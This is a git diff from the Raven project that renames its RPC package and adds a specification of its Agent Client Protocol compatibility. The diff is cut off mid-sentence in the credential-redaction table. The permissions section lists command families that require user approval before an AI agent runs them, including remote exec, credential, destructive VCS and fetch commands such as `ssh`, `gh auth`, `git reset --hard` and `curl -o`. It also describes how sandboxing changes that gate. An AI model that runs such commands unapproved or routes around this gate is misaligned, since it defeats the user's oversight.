diff --git a/.github/coverage-baseline.json b/.github/coverage-baseline.json index 3df575a6..a3fcc9d2 100644 --- a/.github/coverage-baseline.json +++ b/.github/coverage-baseline.json @@ -2984,6 +2984,238 @@ "line_percent": 100.0, "statements": 40 }, + "raven/rpc/_ansi_filter.py": { + "branch_percent": 100.0, + "branches": 2, + "covered_branches": 2, + "covered_lines": 15, + "line_percent": 100.0, + "statements": 15 + }, + "raven/rpc/_confirm_injection.py": { + "branch_percent": 50.0, + "branches": 2, + "covered_branches": 1, + "covered_lines": 23, + "line_percent": 95.833333, + "statements": 24 + }, + "raven/rpc/_console_injection.py": { + "branch_percent": 100.0, + "branches": 4, + "covered_branches": 4, + "covered_lines": 27, + "line_percent": 100.0, + "statements": 27 + }, + "raven/rpc/approval_broker.py": { + "branch_percent": 80.0, + "branches": 10, + "covered_branches": 8, + "covered_lines": 57, + "line_percent": 95.0, + "statements": 60 + }, + "raven/rpc/confirm_broker.py": { + "branch_percent": 83.333333, + "branches": 6, + "covered_branches": 5, + "covered_lines": 39, + "line_percent": 92.857143, + "statements": 42 + }, + "raven/rpc/dispatcher.py": { + "branch_percent": 65.384615, + "branches": 26, + "covered_branches": 17, + "covered_lines": 57, + "line_percent": 83.823529, + "statements": 68 + }, + "raven/rpc/errors.py": { + "branch_percent": 100.0, + "branches": 0, + "covered_branches": 0, + "covered_lines": 73, + "line_percent": 100.0, + "statements": 73 + }, + "raven/rpc/methods/__init__.py": { + "branch_percent": 100.0, + "branches": 8, + "covered_branches": 8, + "covered_lines": 40, + "line_percent": 100.0, + "statements": 40 + }, + "raven/rpc/methods/_stubs.py": { + "branch_percent": 100.0, + "branches": 2, + "covered_branches": 2, + "covered_lines": 11, + "line_percent": 100.0, + "statements": 11 + }, + "raven/rpc/methods/_typer_reflect.py": { + "branch_percent": 70.0, + "branches": 10, + "covered_branches": 7, + "covered_lines": 16, + "line_percent": 88.888889, + "statements": 18 + }, + "raven/rpc/methods/approval.py": { + "branch_percent": 100.0, + "branches": 2, + "covered_branches": 2, + "covered_lines": 13, + "line_percent": 92.857143, + "statements": 14 + }, + "raven/rpc/methods/cli_dispatch.py": { + "branch_percent": 96.153846, + "branches": 26, + "covered_branches": 25, + "covered_lines": 103, + "line_percent": 95.37037, + "statements": 108 + }, + "raven/rpc/methods/commands.py": { + "branch_percent": 78.26087, + "branches": 46, + "covered_branches": 36, + "covered_lines": 107, + "line_percent": 87.704918, + "statements": 122 + }, + "raven/rpc/methods/config.py": { + "branch_percent": 77.419355, + "branches": 62, + "covered_branches": 48, + "covered_lines": 134, + "line_percent": 90.540541, + "statements": 148 + }, + "raven/rpc/methods/confirm.py": { + "branch_percent": 100.0, + "branches": 0, + "covered_branches": 0, + "covered_lines": 11, + "line_percent": 91.666667, + "statements": 12 + }, + "raven/rpc/methods/model.py": { + "branch_percent": 96.666667, + "branches": 30, + "covered_branches": 29, + "covered_lines": 175, + "line_percent": 91.623037, + "statements": 191 + }, + "raven/rpc/methods/question.py": { + "branch_percent": 100.0, + "branches": 0, + "covered_branches": 0, + "covered_lines": 11, + "line_percent": 91.666667, + "statements": 12 + }, + "raven/rpc/methods/reload.py": { + "branch_percent": 100.0, + "branches": 0, + "covered_branches": 0, + "covered_lines": 7, + "line_percent": 100.0, + "statements": 7 + }, + "raven/rpc/methods/session.py": { + "branch_percent": 87.837838, + "branches": 74, + "covered_branches": 65, + "covered_lines": 247, + "line_percent": 90.145985, + "statements": 274 + }, + "raven/rpc/methods/setup.py": { + "branch_percent": 75.0, + "branches": 16, + "covered_branches": 12, + "covered_lines": 55, + "line_percent": 87.301587, + "statements": 63 + }, + "raven/rpc/methods/slash_routing.py": { + "branch_percent": 85.714286, + "branches": 14, + "covered_branches": 12, + "covered_lines": 55, + "line_percent": 84.615385, + "statements": 65 + }, + "raven/rpc/methods/system.py": { + "branch_percent": 100.0, + "branches": 4, + "covered_branches": 4, + "covered_lines": 33, + "line_percent": 94.285714, + "statements": 35 + }, + "raven/rpc/methods/terminal.py": { + "branch_percent": 90.0, + "branches": 10, + "covered_branches": 9, + "covered_lines": 26, + "line_percent": 100.0, + "statements": 26 + }, + "raven/rpc/methods/turn.py": { + "branch_percent": 76.666667, + "branches": 30, + "covered_branches": 23, + "covered_lines": 108, + "line_percent": 96.428571, + "statements": 112 + }, + "raven/rpc/models.py": { + "branch_percent": 100.0, + "branches": 0, + "covered_branches": 0, + "covered_lines": 389, + "line_percent": 100.0, + "statements": 389 + }, + "raven/rpc/question_broker.py": { + "branch_percent": 78.571429, + "branches": 14, + "covered_branches": 11, + "covered_lines": 55, + "line_percent": 93.220339, + "statements": 59 + }, + "raven/rpc/server.py": { + "branch_percent": 60.714286, + "branches": 28, + "covered_branches": 17, + "covered_lines": 96, + "line_percent": 76.190476, + "statements": 126 + }, + "raven/rpc/spine.py": { + "branch_percent": 92.5, + "branches": 40, + "covered_branches": 37, + "covered_lines": 112, + "line_percent": 99.115044, + "statements": 113 + }, + "raven/rpc/subscriptions.py": { + "branch_percent": 82.352941, + "branches": 34, + "covered_branches": 28, + "covered_lines": 90, + "line_percent": 92.783505, + "statements": 97 + }, "raven/sandbox/__init__.py": { "branch_percent": 100.0, "branches": 6, @@ -3280,238 +3512,6 @@ "line_percent": 80.952381, "statements": 21 }, - "raven/tui_rpc/_ansi_filter.py": { - "branch_percent": 100.0, - "branches": 2, - "covered_branches": 2, - "covered_lines": 15, - "line_percent": 100.0, - "statements": 15 - }, - "raven/tui_rpc/_confirm_injection.py": { - "branch_percent": 50.0, - "branches": 2, - "covered_branches": 1, - "covered_lines": 23, - "line_percent": 95.833333, - "statements": 24 - }, - "raven/tui_rpc/_console_injection.py": { - "branch_percent": 100.0, - "branches": 4, - "covered_branches": 4, - "covered_lines": 27, - "line_percent": 100.0, - "statements": 27 - }, - "raven/tui_rpc/approval_broker.py": { - "branch_percent": 80.0, - "branches": 10, - "covered_branches": 8, - "covered_lines": 57, - "line_percent": 95.0, - "statements": 60 - }, - "raven/tui_rpc/confirm_broker.py": { - "branch_percent": 83.333333, - "branches": 6, - "covered_branches": 5, - "covered_lines": 39, - "line_percent": 92.857143, - "statements": 42 - }, - "raven/tui_rpc/dispatcher.py": { - "branch_percent": 65.384615, - "branches": 26, - "covered_branches": 17, - "covered_lines": 57, - "line_percent": 83.823529, - "statements": 68 - }, - "raven/tui_rpc/errors.py": { - "branch_percent": 100.0, - "branches": 0, - "covered_branches": 0, - "covered_lines": 73, - "line_percent": 100.0, - "statements": 73 - }, - "raven/tui_rpc/methods/__init__.py": { - "branch_percent": 100.0, - "branches": 8, - "covered_branches": 8, - "covered_lines": 40, - "line_percent": 100.0, - "statements": 40 - }, - "raven/tui_rpc/methods/_stubs.py": { - "branch_percent": 100.0, - "branches": 2, - "covered_branches": 2, - "covered_lines": 11, - "line_percent": 100.0, - "statements": 11 - }, - "raven/tui_rpc/methods/_typer_reflect.py": { - "branch_percent": 70.0, - "branches": 10, - "covered_branches": 7, - "covered_lines": 16, - "line_percent": 88.888889, - "statements": 18 - }, - "raven/tui_rpc/methods/approval.py": { - "branch_percent": 100.0, - "branches": 2, - "covered_branches": 2, - "covered_lines": 13, - "line_percent": 92.857143, - "statements": 14 - }, - "raven/tui_rpc/methods/cli_dispatch.py": { - "branch_percent": 96.153846, - "branches": 26, - "covered_branches": 25, - "covered_lines": 103, - "line_percent": 95.37037, - "statements": 108 - }, - "raven/tui_rpc/methods/commands.py": { - "branch_percent": 78.26087, - "branches": 46, - "covered_branches": 36, - "covered_lines": 107, - "line_percent": 87.704918, - "statements": 122 - }, - "raven/tui_rpc/methods/config.py": { - "branch_percent": 77.419355, - "branches": 62, - "covered_branches": 48, - "covered_lines": 134, - "line_percent": 90.540541, - "statements": 148 - }, - "raven/tui_rpc/methods/confirm.py": { - "branch_percent": 100.0, - "branches": 0, - "covered_branches": 0, - "covered_lines": 11, - "line_percent": 91.666667, - "statements": 12 - }, - "raven/tui_rpc/methods/model.py": { - "branch_percent": 96.666667, - "branches": 30, - "covered_branches": 29, - "covered_lines": 175, - "line_percent": 91.623037, - "statements": 191 - }, - "raven/tui_rpc/methods/question.py": { - "branch_percent": 100.0, - "branches": 0, - "covered_branches": 0, - "covered_lines": 11, - "line_percent": 91.666667, - "statements": 12 - }, - "raven/tui_rpc/methods/reload.py": { - "branch_percent": 100.0, - "branches": 0, - "covered_branches": 0, - "covered_lines": 7, - "line_percent": 100.0, - "statements": 7 - }, - "raven/tui_rpc/methods/session.py": { - "branch_percent": 87.837838, - "branches": 74, - "covered_branches": 65, - "covered_lines": 247, - "line_percent": 90.145985, - "statements": 274 - }, - "raven/tui_rpc/methods/setup.py": { - "branch_percent": 75.0, - "branches": 16, - "covered_branches": 12, - "covered_lines": 55, - "line_percent": 87.301587, - "statements": 63 - }, - "raven/tui_rpc/methods/slash_routing.py": { - "branch_percent": 85.714286, - "branches": 14, - "covered_branches": 12, - "covered_lines": 55, - "line_percent": 84.615385, - "statements": 65 - }, - "raven/tui_rpc/methods/system.py": { - "branch_percent": 100.0, - "branches": 4, - "covered_branches": 4, - "covered_lines": 33, - "line_percent": 94.285714, - "statements": 35 - }, - "raven/tui_rpc/methods/terminal.py": { - "branch_percent": 90.0, - "branches": 10, - "covered_branches": 9, - "covered_lines": 26, - "line_percent": 100.0, - "statements": 26 - }, - "raven/tui_rpc/methods/turn.py": { - "branch_percent": 76.666667, - "branches": 30, - "covered_branches": 23, - "covered_lines": 108, - "line_percent": 96.428571, - "statements": 112 - }, - "raven/tui_rpc/models.py": { - "branch_percent": 100.0, - "branches": 0, - "covered_branches": 0, - "covered_lines": 389, - "line_percent": 100.0, - "statements": 389 - }, - "raven/tui_rpc/question_broker.py": { - "branch_percent": 78.571429, - "branches": 14, - "covered_branches": 11, - "covered_lines": 55, - "line_percent": 93.220339, - "statements": 59 - }, - "raven/tui_rpc/server.py": { - "branch_percent": 60.714286, - "branches": 28, - "covered_branches": 17, - "covered_lines": 96, - "line_percent": 76.190476, - "statements": 126 - }, - "raven/tui_rpc/spine.py": { - "branch_percent": 92.5, - "branches": 40, - "covered_branches": 37, - "covered_lines": 112, - "line_percent": 99.115044, - "statements": 113 - }, - "raven/tui_rpc/subscriptions.py": { - "branch_percent": 82.352941, - "branches": 34, - "covered_branches": 28, - "covered_lines": 90, - "line_percent": 92.783505, - "statements": 97 - }, "raven/utils/__init__.py": { "branch_percent": 100.0, "branches": 0, diff --git a/CONTEXT-MAP.md b/CONTEXT-MAP.md index e1f42293..ca6bf247 100644 --- a/CONTEXT-MAP.md +++ b/CONTEXT-MAP.md @@ -12,7 +12,7 @@ ## Relationships -- **TUI ↔ Runtime**: communicate exclusively over the TUI-RPC protocol (`raven/tui_rpc/`); the TUI never imports Runtime internals +- **TUI ↔ Runtime**: communicate exclusively over the TUI-RPC protocol (`raven/rpc/`); the TUI never imports Runtime internals - **bridge/ (WhatsApp TS)**: part of the Runtime context's channel boundary, not a separate context ## Terms under review diff --git a/README.md b/README.md index 1e3ba2df..2af677dd 100644 --- a/README.md +++ b/README.md @@ -237,7 +237,7 @@ raven/proactive_engine/ sentinel, scheduling, and nudges raven/providers/ model providers and routing raven/skill_hub/ external skill retrieval raven/tracing/ instrumentation, storage, and viewer -raven/tui_rpc/ typed runtime-to-TUI boundary +raven/rpc/ typed runtime-to-TUI boundary ui-tui/ React/Ink terminal interface ``` diff --git a/README.zh-CN.md b/README.zh-CN.md index 37e3c5b5..886dcae6 100644 --- a/README.zh-CN.md +++ b/README.zh-CN.md @@ -240,7 +240,7 @@ raven/proactive_engine/ sentinel、scheduling 和 nudges raven/providers/ model providers 和 routing raven/skill_hub/ external skill retrieval raven/tracing/ instrumentation、storage 和 viewer -raven/tui_rpc/ typed runtime-to-TUI boundary +raven/rpc/ typed runtime-to-TUI boundary ui-tui/ React/Ink terminal interface ``` diff --git a/docs/Proactivity-Implementation.md b/docs/Proactivity-Implementation.md index f9b4d1a4..88fe0ad3 100644 --- a/docs/Proactivity-Implementation.md +++ b/docs/Proactivity-Implementation.md @@ -604,7 +604,7 @@ demoted to `APPEND`. The `ask_user` tool (`raven/agent/tools/ask_user.py`) pauses a turn to ask the user a structured question and awaits the reply. It hands the turn's conversation_id and prompt to a `QuestionBroker` -(`raven/tui_rpc/question_broker.py`), which emits a `clarify.request` +(`raven/rpc/question_broker.py`), which emits a `clarify.request` notification and blocks (on a future keyed by conversation_id) until an answer arrives, with a fail-safe default so the loop always gets a string back. `clarify.request` / `clarify.respond` is the ui-tui frontend's existing @@ -613,7 +613,7 @@ multi-choice prompt contract (ClarifyPrompt), which the broker reuses. The answer reaches the broker by two routes: - TUI: the frontend renders the ClarifyPrompt and answers with a - `clarify.respond` RPC, handled in `raven/tui_rpc/methods/question.py`, + `clarify.respond` RPC, handled in `raven/rpc/methods/question.py`, which calls `broker.reply(...)`. - Channel: the broker renders the question as an outbound Text to the conversation's channel; the gateway inbound dispatch, on the next message for a diff --git a/docs/everos-memory-e2e-test-plan.md b/docs/everos-memory-e2e-test-plan.md index ac4c9a3c..c0dc4777 100644 --- a/docs/everos-memory-e2e-test-plan.md +++ b/docs/everos-memory-e2e-test-plan.md @@ -103,5 +103,5 @@ uv run pytest tests/integration -m real_llm ## Naming compliance note (AGENTS.md §5.2) The production-path / demo smokes were renamed to drop their -ticket/version scope: `tests/integration/test_tui_rpc_production_smoke.py` -and `tests/integration/test_tui_rpc_demo_smoke.py`. +ticket/version scope: `tests/integration/test_rpc_production_smoke.py` +and `tests/integration/test_rpc_demo_smoke.py`. diff --git a/docs/specs/2026-08-21-acp-agent-compatibility.md b/docs/specs/2026-08-21-acp-agent-compatibility.md new file mode 100644 index 00000000..b126fb5d --- /dev/null +++ b/docs/specs/2026-08-21-acp-agent-compatibility.md @@ -0,0 +1,182 @@ +# Raven as an ACP agent: what works, what does not, and why + +`raven acp` serves the [Agent Client Protocol](https://agentclientprotocol.com) +over stdio, so an editor can spawn Raven the way it spawns any other coding +agent. This document is the compatibility matrix: every surface of the protocol, +with the honest state of it. + +The reason it exists in this shape is that the worst failure mode available to an +ACP agent is a *declared* capability with nothing behind it. The client routes +work to a method that answers with an error, and the turn stalls on a promise +nobody will keep. So the rule followed throughout is that a capability is +declared only when something honours it, and everything else is written down here +rather than left for a user to find. + +Spec baseline: **schema 1.20.0**, vendored at `tests/fixtures/acp/schema-v1.json` +with its sha256 pinned in `VERSION.json`. Every outbound frame the unit tests +build is validated against it. + +## Handshake + +| Surface | State | Notes | +|---|---|---| +| `initialize` | **Supported** | Tolerant by construction: unknown params ignored, and a `protocolVersion` of the wrong type is read for intent (`"1"`, `1.0`) rather than rejected. An unreadable one gets version 1 back, which is what lets the client decide whether to disconnect. | +| `protocolVersion` | **1** | Not 2: `schema/v2` is a draft, no shipping agent answers 2, and the official guidance is to gate a v2 path behind both version negotiation and a feature flag. | +| `agentInfo` | **Supported** | Read from the installed distribution, so it cannot claim a version this build is not. | +| `authenticate` / `authMethods` | **Not needed** | `authMethods: []` is a positive statement: no authentication is required, so a client may go straight to `session/new`. A client that calls `authenticate` anyway is told that, rather than given a method-not-found it would read as a version mismatch. | +| `logout` | **Not supported** | `agentCapabilities.auth` is empty, so it is never called. There is no session to end. | + +## Sessions + +| Surface | State | Notes | +|---|---|---| +| `session/new` | **Supported** | `cwd` is checked the way Raven checks its own working directories: it must be absolute, and it may not be the agent home, an ancestor of it, or inside the memory / skills / sessions subtrees. The last is not arbitrary -- the per-turn checkpoint runs `git add -A` over the working directory, so a session rooted at `~` would commit provider keys into a shadow repository. Each refusal is `-32602` with the reason attached. | +| `session/new` `mcpServers` | **Refused when non-empty** | MCP is connected once per process, lazily, and nothing scopes a server to one session. Accepting the field silently would leave a client believing its tools are available for the rest of the session. An empty array is the normal value and is accepted. | +| `session/new` `additionalDirectories` | **Not declared** | The capability is an object in the schema, so declaring it means implementing it. | +| `sessionId` | The Raven session key | One identity rather than two (`acp:`). A second id space would need a map that survives a restart to be worth anything. | +| `session/load` | **Supported** | Not a getter: the transcript is replayed as `session/update` notifications *during* the request, so a resumed session is drawn by the same client code as a live one. The working directory comes from the client rather than from storage, because a project moves. Reloading a session this connection already holds reuses its stream instead of opening a second one. | +| `session/load` for an unknown id | **`-32002`** | `session.resume` is forgiving in a way the protocol is not: an unknown id makes it mint a fresh session and answer with that. The id it returns is compared against the one asked for, which is what turns the fallback into an error -- a client silently handed a new session shows a person an empty transcript for a conversation that had one. | +| What a replay loses | Attachments | `_map_to_wire` flattens a multimodal user message to the text of its text blocks, so an image attached three turns ago replays as the words around it. Recovering it means reading the raw messages and then re-reading files that may no longer exist. | +| A replayed tool call's status | `pending`, then `completed` | The only place `pending` is used. On a live call the status is `in_progress` because the work is running; on a replay the work is over and the entry carrying its outcome follows. A row left `in_progress` would show a spinner for a call that finished last week, and `completed` on the announcement would claim an outcome before the entry that carries it. | +| A replayed diff | Text, not a `diff` block | The stored record is a rendering and the file's contents at the time are gone, so a structured block would need a `newText` that would have to be invented. | +| Replay size | 500 messages, 16 KB each | Truncated from the front, so what is dropped is what a scrollback would have dropped -- and the truncation is announced in the transcript, because a history that appears to begin mid-thought reads as corruption. | +| `session/list` | **Supported** | Newest activity first. Read from the session manager rather than through the internal `session.list`, because `SessionInfo.cwd` is required by the schema and that method's wire shape does not carry it. Not paginated: every match is in the response and `nextCursor` is omitted, which says "there is no more" rather than "ask again". | +| A session with no recorded directory | **Omitted from the listing** | `cwd` is required, and inventing one would tell a client the session ran somewhere it did not. The number omitted is logged, because a listing quietly shorter than the session directory is not something anyone notices until they go looking for a conversation. | +| `session/list` without an engine | **Empty** | A fresh `SessionManager` caches nothing, so a listing built from one would describe an object about to be discarded. Also true of a session minted and never used: sessions are lazy and write no file until their first turn, so a brand-new session does not appear until it has said something. | +| `session/resume` / `close` / `delete` | **Not supported** | All three are stable in the schema, all three need their own capability declaration, and Zed uses none of them. `sessionCapabilities` declares `list` and nothing else. | +| Two prompts on one session | **Refused** | A session's updates carry no request correlation, so two prompts in flight produce a single interleaved stream that cannot be split apart. Raven's own ACP *client* documents this as a certainty from the other side; the mirror holds here. | +| Several sessions on one connection | **Supported** | Each has its own subscription and its own turn slot. | + +## Prompts + +| Content block | State | Notes | +|---|---|---| +| `text` | **Supported** | | +| `resource_link` | **Supported** | The block an editor sends for every file mention, and it is gated by no capability at all -- `promptCapabilities` covers only `audio` and `embeddedContext`. A `file://` URI is turned back into a path (percent-decoding undone) so the agent's own file tools can act on it; anything else is passed through as a URI. Named in the prompt rather than read here: reading it would make a mention a silent file read, and the agent's read goes through the tool that reports it. | +| `resource` (embedded text) | **Supported** | `embeddedContext: true` rests on this case. | +| `resource` (embedded blob) | **Named, not inlined** | Base64 in a prompt is tokens spent on nothing. | +| `image` | **Supported** | Written into `/uploads/` and handed to the turn as a workspace-relative media path -- the same spelling every file tool takes, and one that survives a deployment with `restrict_to_workspace` on. 20 MiB ceiling, matching `fs.upload`; the stdio frame cap is sized off that number (26.7 MiB of base64 plus the envelope), so the two limits are one decision rather than two -- but the frame cap is per frame while the ceiling is per image, so a prompt carrying two images at the ceiling is refused at the frame boundary. | +| `audio` | **Not supported** | `promptCapabilities.audio: false`. There is no audio path on the prompt side. If one arrives anyway it is named in the prompt rather than dropped, so a person who spoke learns the words did not get through. | +| A block Raven cannot read | **Costs only itself** | One unusable attachment never fails the prompt. | + +## Turn output + +| Surface | State | Notes | +|---|---|---| +| `agent_message_chunk` | **Supported** | Both paths: the streamed reply and the non-streamed one. | +| `agent_thought_chunk` | **Supported** | | +| `tool_call` | **Supported** | Initial status is `in_progress`, not `pending`: pending means "not started", and a pending row that never changes reads as a hang. `kind` is mapped for every tool Raven registers; anything else, including the `mcp__` names an MCP server brings at runtime, is `other`, because a wrong icon is worse than a generic one. | +| `tool_call.locations` | **Supported** | Resolved to absolute against the session's working directory, as the spec requires. A path that cannot be made absolute is dropped rather than sent relative. | +| `tool_call.rawInput` / `rawOutput` | **Not sent** | It carries a tool's arguments verbatim, and for `exec` that is the whole command line. The title carries what a client needs to draw the row, and it is redacted. | +| `tool_call_update` status | **Always `completed`** -- known inaccuracy | `ToolEvent` carries no success flag, and the preview it does carry comes from `display_text or model_text`, so a tool that writes a friendly message on failure is indistinguishable from one that succeeded. Guessing from the text would mislabel both directions. The fix is a status field at the emit site, which is a change to the spine's event vocabulary rather than to this mapping. | +| `ToolCallContent` `diff` | **Supported** | Structured `{path, newText, oldText?}` carried from the write tools, which hold both versions of the file. `oldText` is omitted only for a file that did not exist -- the schema defines its absence as "new file", so omitting it for a file whose previous content is merely unavailable would render every line of a rewrite as an addition. | +| `ToolCallContent` `terminal` | **Not supported** | See `terminal/*` below. | +| `stopReason` | `end_turn`, `cancelled` | `max_tokens` and `max_turn_requests` have no source in Raven and are never sent. | +| `refusal` as a stop reason | **Not sent** | It would come from the runtime's `action_blocked` notice, and that notice carries no turn id: `_run_turn` has none to give it, and the runtime shares a lane with the client's turn (see `_owns_lane`), so a refusal seen on this session cannot be shown to belong to this prompt. Latching it anyway made a *foreign* turn's block the reported outcome of a turn that completed normally, which is a false statement about this turn; reporting `end_turn` is merely a less specific true one. The refusal itself is not lost -- it is delivered as message content, which is what the person reads. Restoring it needs a turn id on the notice, which means threading one through the agent loop. | +| A failed turn | **Explained, then ended** | A prompt is never answered with a JSON-RPC error. Measured from the other direction on codex-acp: an error in reply to a turn-shaped request makes clients tear down the whole turn. The failure is surfaced as message content and the turn ends with a stop reason. | +| `plan` | **Not sent** | `PlanEntry.priority` is required (`high`/`medium`/`low`) and Raven's DAG has no source for it. A plan would have to be invented. | +| `usage_update` | **Supported** | `used` and `size` are the context-window numbers, `cost` is the estimated dollar figure. Sent on the turn's completion, before the prompt is answered, so the client has it while the turn still exists. Withheld entirely when the window numbers are not real: a `size` of zero has a client drawing a full bar or dividing by it, and an update of zeroes is not the same statement as no update. A cost of zero, by contrast, is reported -- a cached reply cost nothing, which is different from not knowing. | +| `session_info_update` | **Not sent yet** | The title is available (it is what `session/list` reports), but nothing changes it mid-session today. | +| `available_commands_update` | **Not supported** | The only catalogue Raven has reflects Typer CLI verbs. The vocabulary is wrong, and a wrong command list is worse than none. | +| `current_mode_update` / `session/set_mode` | **Not supported** | Raven has no mode concept. Declaring a mode with no state behind it is worse than not declaring one. | +| Files the reply carried | **Supported** | Each file arrives as one `agent_message_chunk` whose content is a `resource_link`, one chunk per file because a chunk carries a single content block. A link and not an `image` or `audio` block even for a picture: those carry base64 `data`, which would mean reading the file inside a translator that is pure on purpose, and a client that spawned this agent can open the path itself. `mimeType` is forwarded exactly as the emit site declared it, which today is `application/octet-stream` for every file -- the RFC default for "unknown", not a detection result, so a client that needs the real type should sniff the extension. Deriving one here would be the translator claiming knowledge the event does not carry, and a wrong type sends a client to the wrong viewer. Capped at 32 files per turn. A path that cannot be made absolute is named in text instead of linked: a relative `file://` URI resolves against the client's own directory, so it opens nothing or the wrong file. | +| A sub-agent's output | **Untagged** | The tag exists in the translator and nothing sets it here: this build has no direct sub-agent chat, so every turn on a session's subscription is the main agent's and there is no second speaker to distinguish. The `_meta["raven.target"]` path stays because the alternative is a translator that silently drops the tag once a lane can carry one. | + +## Cancellation + +| Surface | State | Notes | +|---|---|---| +| `session/cancel` | **Supported** | Cancels the work first, then answers the pending prompt with `cancelled` -- last, so a late event cannot settle it with a different reason after the client has been told. Answered unconditionally, including when there was nothing to cancel: a cancel arriving before the scheduler accepted the turn still has a prompt to answer. | +| Tool-level cancellation | **Supported** | A cancelled turn kills the shell's whole process group, not just the shell. Measured: with the group kill, a child process stops writing the instant the turn is cancelled; without it, the child keeps writing to the workspace for the life of the agent. | +| `$/cancel_request` | **Ignored, safely** | Protocol-level and explicitly optional; the spec says a receiver MAY act on it. | +| Client leaves mid-turn | **Answered, then unwound** | On EOF the pending prompts are settled as `cancelled` and the handlers return through their own code, releasing their turn slots before the engine is torn down. | + +## Permissions + +| Surface | State | Notes | +|---|---|---| +| `session/request_permission` | **Supported** | Sent for the command families listed below. | +| Option kinds offered | `allow_once`, `reject_once` | Not `allow_always` / `reject_always`. Raven has no persistent policy store -- the approval broker takes allow or deny, and its denial memory is cleared at every turn boundary. Offering an "always" a client would render as a saved preference is a lie. | +| A refusal | `selected` with a reject option id | `RequestPermissionOutcome` has exactly two variants, `cancelled` and `selected`. There is no `denied`. | +| A client that does not answer | **Refusal after 5 minutes** | Not 35 seconds, which is the terminal broker's ceiling because a terminal overlay owns a visible countdown. A person reading a diff in an editor is not that. | +| A client that answers with an error | **Refusal** | | +| A client that answers with an unknown option id | **Refusal** | Options are minted per request and the answer is checked against that set, so a stale id, an invented one, or a synthesised `allow_always` is refused rather than believed. | +| A client that answers `cancelled` | **Refusal** | The one that is not misbehaviour: a client cancelling a turn MUST answer every pending permission this way. | +| Command families that ask | publish, install, remote exec, credential, destructive VCS, fetch-with-side-effect | `git push`, `npm install`, `ssh`, `gh auth`, `git reset --hard`, `curl -o` and their relatives, including behind `sudo`, `env` and `sh -c`. | +| Command families that do not ask | everything else | A build, a test run, a formatter, a file edit and a plain `curl` of a documentation page all run unannounced. The line is "hard to undo from outside this directory", not "dangerous": a prompt on every command trains the reader to approve without looking, which costs more than it buys. | +| **A sub-agent's commands** | **Refused, not asked** | The families are declared per surface rather than per tool, so a sub-agent's own `ExecTool` inherits them: a delegated `git push` no longer runs unannounced. What it gets is a refusal with a reason, because that tool has no approval responder and a tool that cannot ask fails closed. Asking on a sub-agent's behalf needs a lane's conversation id routed into a task that outlives its turn, which is its own change; until then, refusing beats acting in silence. | +| **A sandboxed session** | **Asks about the same families** | A microVM contains what a command does to files, so a sandboxed turn skips the deny list and the contained families (a delete, a power-off) -- that is what running one is for. It does not contain a push, an install or a connection to another machine, so those still ask. The classification used to be skipped whole on the sandbox flag, which made the safer configuration prompt LESS than the plain one for exactly the operations the sandbox has no say over. | +| `ask_user` with `elicitation` declared | **`elicitation/create`, form mode** | The route that fits: a message plus a one-field schema, answered with a value. The field is an enum when the question has choices and a plain string otherwise, which makes this the only route that can carry an answer nobody listed in advance. Branching on `elicitation.form` and not on the group: a client can declare the group and support only `url` mode, which is for sending somebody to a web page. | +| `ask_user` without it, with choices | **`session/request_permission`** | A worse fit, used because `toolCall` is required and a bare question has none. The synthesised one is marked in `_meta` (`raven.synthesisedToolCall`) rather than disguised, its `kind` is `other` because the kinds describe tools and this is not one, and every option is `allow_once` because the kinds describe authorisation and none is being given. Capped at 8 choices. | +| `ask_user` without it, free text | **Shown, then defaulted** -- known limitation | A permission response carries an option id and nothing else, so there is no channel for typed text. The question is put on the wire as an ordinary agent message, so the person sees it and can answer in their next prompt, and the tool falls back to its default. Stated here because a silently defaulted question reads as an agent that did not listen. | +| An unanswered question | **Defaulted, not hung** | Every path answers the runtime's broker, including every failure path. Left unanswered it treats the question as "wait longer" and falls back on its own after ten minutes -- during which the tool call is blocked and a client shows a spinner, then a reply that ignores what it asked. | + +## Configuration + +| Surface | State | Notes | +|---|---|---| +| `session/set_config_option` | **Supported, `category: "model"` only** | This is the stable channel. `session/set_model` does not exist in the schema and neither does `models.availableModels`; both appear in older material, and an agent waiting for either would never be asked to switch a model. | +| `configOptions` on `session/new` | **Sent when there is one** | So a client can put a model picker in the session menu without a second round trip. Absent rather than empty when nothing is configured and nothing is running: an empty list is a menu that opens onto nothing. | +| Scope of a model change | **The session it was sent for** -- said in the option's own description | `config.set` with a `session_id` binds that session and leaves `agents.defaults` alone, so other sessions and newly created ones keep the configured default. Every call from this surface carries the `sessionId` the client addressed, and the current value is read back per session too -- asked without the id, `model.options` answers from the installation default, and a switch that had already applied would be reported as though it had not. | +| The provider behind a model | **Sent as its own field, looked up not split** | `config.set` requires `provider` and refuses to read one off the model id: `openrouter` serving `anthropic/claude-haiku-4-5` and `anthropic` serving `claude-haiku-4-5` are both real and bill different accounts, so a prefix is routing syntax rather than evidence about a key. The provider is taken from the same catalogue the option value was offered from, and a value no configured provider offers is refused rather than guessed at. | +| A model change during a turn | **Not refused here** | `config.set` in this build has no busy guard, so a switch mid-turn is accepted; the turn in flight keeps the binding it started on for its whole tree, and the choice takes effect on that session's next turn rather than being rejected. A typed refusal from `config.set` does travel out intact when there is one -- a client can act on a code, and flattening it to an internal error leaves a person retrying something that will keep failing -- but there is no in-turn refusal to travel. | +| Which models are offered | Authenticated providers, plus the one in use | The second half is not a courtesy. `authenticated` reports whether raven's own config holds a credential, and a working installation can be running on one from the environment -- measured on a machine where every provider reported false while `anthropic/claude-opus-4-5` was answering. Filtering on that flag alone hid every model that worked. Capped at 40 per provider. | +| Other configuration | **Not exposed** | Raven has more hot-changeable config, but a selector for each would put a settings panel in a session menu. The ones worth being there are the ones a person changes mid-conversation. | + +## Credentials in the payload + +An ACP payload is rendered in an editor and often kept in its transcript, so a +tool title, a permission prompt and an error message are publishing surfaces. + +Every row below names the surface as it behaves in the live translator, not as +the redactor behaves in isolation. That distinction is not pedantic: the first +version of this table described a redactor that the publishing path never +called, so the document was right about the module and wrong about the wire. + +| Channel | Handling | +|---|---| +| A command line in a prompt title | Redacted (14 patterns, capture group only, so the shape survives and the row stays readable). | +| A `tool_call` title on the wire | Redacted in `_tool_call`, which is the last point before the frame leaves. | +| A `tool_call_update` result preview | Redacted **before** the 64 KiB cut, so a credential that straddles the cut cannot leave its head behind as ordinary text. | +| A terminating error's message and detail | Redacted. | +| A blocked action's notice detail | Redacted; a refusal quotes what was refused, which is often the command line. | +| A tool's arguments | Not sent at all -- see `rawInput` above. | +| An internal error's `data` | The traceback tail is stripped (twelve lines of absolute paths, sometimes of argument values) and whatever survives is redacted. | +| An `mcpServers` `env` dict | Refused with the field. | +| A `Diff` block's `oldText` / `newText` | **Not redacted**, deliberately. The client 